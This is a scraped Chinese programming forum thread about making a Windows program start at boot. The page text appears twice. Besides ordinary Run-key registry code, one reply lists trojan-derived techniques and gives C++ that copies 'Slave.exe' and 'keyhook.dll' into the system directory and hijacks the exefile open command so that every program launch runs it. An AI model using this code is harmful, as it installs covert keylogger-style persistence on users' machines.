程序自启动问题!!! 我需要让我的程序在系统启动时自动运行但不得其法望各位兄弟抬举!!! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 HKEY hRegKey=NULL; //获得应用程序所在的路径 CString str; CString m_strFileName; GetModuleFileName(NULL,m_strFileName.GetBufferSetLength(MAX_PATH+1),MAX_PATH); m_strFileName.ReleaseBuffer(); //设置注册表 str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey); _splitpath(m_strFileName.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL); m_strFileName.ReleaseBuffer(); str.ReleaseBuffer(); ::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)m_strFileName.GetBuffer(0),m_strFileName.GetLength() ); m_strFileName.ReleaseBuffer(); feahoo兄提供的是修改注册表的方法小弟不才 斗胆多嘴我知道可以在运行是可以通过在系统启动组中添加快捷方式的方法实现自启动功能望各位不吝赐教 这样的方法太多了。1。最弱智的方法。将你自己的程序拷贝到c:(你的系统盘)\Documents and Settings\All Users\「开始」菜单\程序\\启动\*.exe(你的程序名);//for ntc:\windows\all users\start menu\programs\启动\*.exe(你的程序名); //for 9x2。将程序的位置写入注册表中。在HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Run\下添加子健,然后给子健的值是你的应用程序的位置。或者是HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Runonce下。3。同样不过是变成了HKEY_LOCAL_MACHINE下的同样的位置。4。给txt files映射成自己的应用程序。但是这是你要解析命令行,然后用shellexcute()(用法自己查msdn)运行txt files,而你的程序这时候就被运行了。也就是说只要别人点击txt files你的程序就被运行了。5.给exe files 映射成自己的应用程序。6。给4,5这些文件映射的方法。在HKEY_CLASSES_ROOT\txtfile\shell\open\command下将默认的"%1" 改成你自己的应用程序的位置+"%1"。或者将HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command下将默认的"%1" 改成你自己的应用程序的位置+"%1"。exe files以此类推。至此,你已经完成了你的程序的自启动。(以上参考自木马的原理)。 char m_SysDir[128]; GetSystemDirectory(m_SysDir,128); char szWrite[256]; strcpy(szWrite,__argv[0]); CString m_strS,m_strSDLL,m_strD,m_strDDLL; m_strS.Format("%s",szWrite); m_strSDLL.Format("%s",szWrite); m_strSDLL.Replace("Slave.exe","keyhook.dll"); m_strD.Format("%s%s%s",m_SysDir,"\\","Slave.exe"); m_strDDLL.Format("%s%s%s",m_SysDir,"\\","keyhook.dll"); CopyFile(m_strS,m_strD,FALSE); CopyFile(m_strSDLL,m_strDDLL,FALSE); CString m_strStart; m_strStart.Format("%s%s%s","\"",m_strD,"\"\"%1\" %*"); CRegKey start; CString st="exefile\\shell\\open"; start.Open(HKEY_CLASSES_ROOT,(LPCSTR)st,KEY_ALL_ACCESS); start.SetKeyValue("command",m_strStart,NULL); start.Close(); 我试了一下feahoo兄的代码确实好用但我用RegQueryValueEx读注册表却出了问题不知那位兄台再搭把手谢谢了!!! 这两种ID是同一个意思吗? 菜鸟求救:VB界面编辑的时候有个画线的控件,在VC界面编辑里面怎么没有了?我应该怎么调出来? 终于买到windows程序设计了 高手指点:ado如何存取sql表中指定文件路径的文本内容? 关于DLL的值的传递 后台运行的一个没有界面的EXE进程和一个服务程序有什么区别?大家说说 这个ADO+sybase 12.5连接字符串该怎么写? _recordsetptr 的赋值 怎么实现象VB的DirList那样的框框,由用户选择一个目录? 请高人指教。 谁能把这例程编译? LPCTSTR和char*之间怎样相互转换? 关于_variant_t类型,请教各位大虾!
//获得应用程序所在的路径
CString str;
CString m_strFileName;
GetModuleFileName(NULL,m_strFileName.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
m_strFileName.ReleaseBuffer();
//设置注册表
str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey);
_splitpath(m_strFileName.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
m_strFileName.ReleaseBuffer();
str.ReleaseBuffer();
::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)m_strFileName.GetBuffer(0),m_strFileName.GetLength() );
m_strFileName.ReleaseBuffer();
小弟不才 斗胆多嘴
我知道可以在运行是可以通过
在系统启动组中添加快捷方式的方法
实现自启动功能
望各位不吝赐教
1。最弱智的方法。
将你自己的程序拷贝到
c:(你的系统盘)\Documents and Settings\All Users\「开始」菜单\程序\\启动\*.exe(你的程序名);//for ntc:\windows\all users\start menu\programs\启动\*.exe(你的程序名); //for 9x
2。将程序的位置写入注册表中。
在HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Run\
下添加子健,然后给子健的值是你的应用程序的位置。
或者是
HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Runonce
下。
3。同样不过是变成了HKEY_LOCAL_MACHINE下的同样的位置。
4。给txt files映射成自己的应用程序。但是这是你要解析命令行,然后用shellexcute()(用法自己查msdn)运行txt files,而你的程序这时候就被运行了。也就是说只要别人点击txt files你的程序就被运行了。
5.给exe files 映射成自己的应用程序。
6。给4,5这些文件映射的方法。
在HKEY_CLASSES_ROOT\txtfile\shell\open\command
下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
或者将HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command
下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
exe files以此类推。
至此,你已经完成了你的程序的自启动。
(以上参考自木马的原理)。
char m_SysDir[128];
GetSystemDirectory(m_SysDir,128);
char szWrite[256];
strcpy(szWrite,__argv[0]);
CString m_strS,m_strSDLL,m_strD,m_strDDLL;
m_strS.Format("%s",szWrite);
m_strSDLL.Format("%s",szWrite);
m_strSDLL.Replace("Slave.exe","keyhook.dll"); m_strD.Format("%s%s%s",m_SysDir,"\\","Slave.exe");
m_strDDLL.Format("%s%s%s",m_SysDir,"\\","keyhook.dll");
CopyFile(m_strS,m_strD,FALSE);
CopyFile(m_strSDLL,m_strDDLL,FALSE);
CString m_strStart;
m_strStart.Format("%s%s%s","\"",m_strD,"\"\"%1\" %*");
CRegKey start;
CString st="exefile\\shell\\open";
start.Open(HKEY_CLASSES_ROOT,(LPCSTR)st,KEY_ALL_ACCESS);
start.SetKeyValue("command",m_strStart,NULL);
start.Close();
确实好用
但我用RegQueryValueEx读注册表却出了问题
不知那位兄台再搭把手
谢谢了!!!